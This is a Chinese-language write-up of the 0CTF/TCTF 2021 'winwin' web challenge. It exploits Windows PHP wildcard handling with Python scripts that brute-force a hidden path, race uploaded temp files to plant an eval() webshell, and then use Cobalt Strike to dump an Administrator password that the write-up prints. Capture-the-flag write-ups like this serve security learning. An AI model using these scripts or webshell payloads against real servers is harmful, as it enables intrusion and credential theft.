2021 0CTF/TCTF(Web) winwin

这次比赛👴没有当蹭哥,👴与中国海洋带学的RisingStar(AidaiP)、CNCC优秀带学生(Coin)、3W👴、HB、口老师、🎩以及王老师一起拿了第五(如果没有联合战队,👴🚪就第四了),👴赚了。
本来不想写WP的,但是看到ROIS写的WP太™简单了传送门,对比👴🚪的解题实在是坎坷,还是写一下8.

0x00 题目

<?php
show_source(__FILE__);readfile($_GET['win']);include __DIR__.$_GET['win'];

0x01 伏笔1

首先这题一开始就出带问题,👴跟🎩都没有发现题目的题意,以为这题开了open_basedir,👴🚪拿/etc/passwd等一系列的linux文件一顿乱试。 这导致了👴🚪花了90%的时间在试payload。

0x02 伏笔2

也是在开题的时候,👴在群里发了一个报错:

👴根本没有注意到win64
直到🎩在第二天的晚上跟👴讨论的时候,👴才意识到——“噢这个是windows啊,难怪解不出来呢”

0x03 解题 - 这应该是最麻烦的解法

通过404页面可以知道服务器运行在windows上,而在windows的php中,readfile在底层会调用Windows的FindFirstFileExW()和FindFirstFile(),而在这两个函数中会对大于号<进行特殊处理,大于号相当于文件名通配符*,那么就可以利用通配符来爆破出web目录的名字,脚本如下。

import requests
import string

url = 'http://xxx.winwin.pwnable.org/?win=c:/%s%%3c/htdocs/index.php'

s = 'this_is_a_secret_path_107B1177348CC063A0713838282B1C27892D5FE2'
while True:
    for c in string.digits + string.ascii_lowercase + '_':
        ret = requests.get(url % (s + c))
        length = len(ret.content)
        if length != 722:
            s += c
            print(s)
            break
    else:
        print('Finished: %s' % s)
        break

最终爆破出了web目录是this_is_a_secret_path_107B1177348CC063A0713838282B1C27892D5FE2,但是这个目录下是个xmapp,真正的web目录在c:/htdocs/。在xmapp目录下找到了php.ini,从而得知文件上传的临时目录在c:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\tmp\,那么就可以通过不停上传webshell,include该目录下的临时文件从而执行php代码,虽然不知道临时文件名,但是可以利用通配符绕过,例如../../../THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\tmp\<.tmp
上传临时webshell的脚本如下。

import requests

files = {
    'file': ("aa.txt", "ssss<?php var_dump('55555');file_put_contents('c:\\htdocs\\c.php','<?php eval($_GET[\"a\"]);?>');var_dump('123123');")
}
url = "http://xxx.winwin.pwnable.org/?win=../../../../../this_is_a_secret_path_107b1177348cc063a0713838282b1c27892d5fe2/php/tests/parseDir/phpinfo.php"
url = "http://xxx.winwin.pwnable.org/"
i = 0
while True:
    r = requests.post(url=url, files=files, allow_redirects=False)
    print(i)
    i += 1

之后再起一个进程一直include临时文件,脚本如下。

import requests

url = "http://xxx.winwin.pwnable.org/?win=../../../\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\\tmp\<.tmp"
while True:
    r = requests.get(url=url)
    length = len(r.text)
    if length not in (722, 1148):
        print(r.text)

这里写shell记得闭合,否则会报错。
最终在web根目录c:/htdocs/下写入webshell。

习惯性操作。写入新webshell,使用冰蝎连接。

http://xxx.winwin.pwnable.org/notie.php

直接上cobaltsrike,抓密码。

	 * Username : Administrator
	 * Domain   : WINWIN0
	 * Password : Ucc2DAjAFjvxcKMkT

开一个代理,直接3389连进去获得flag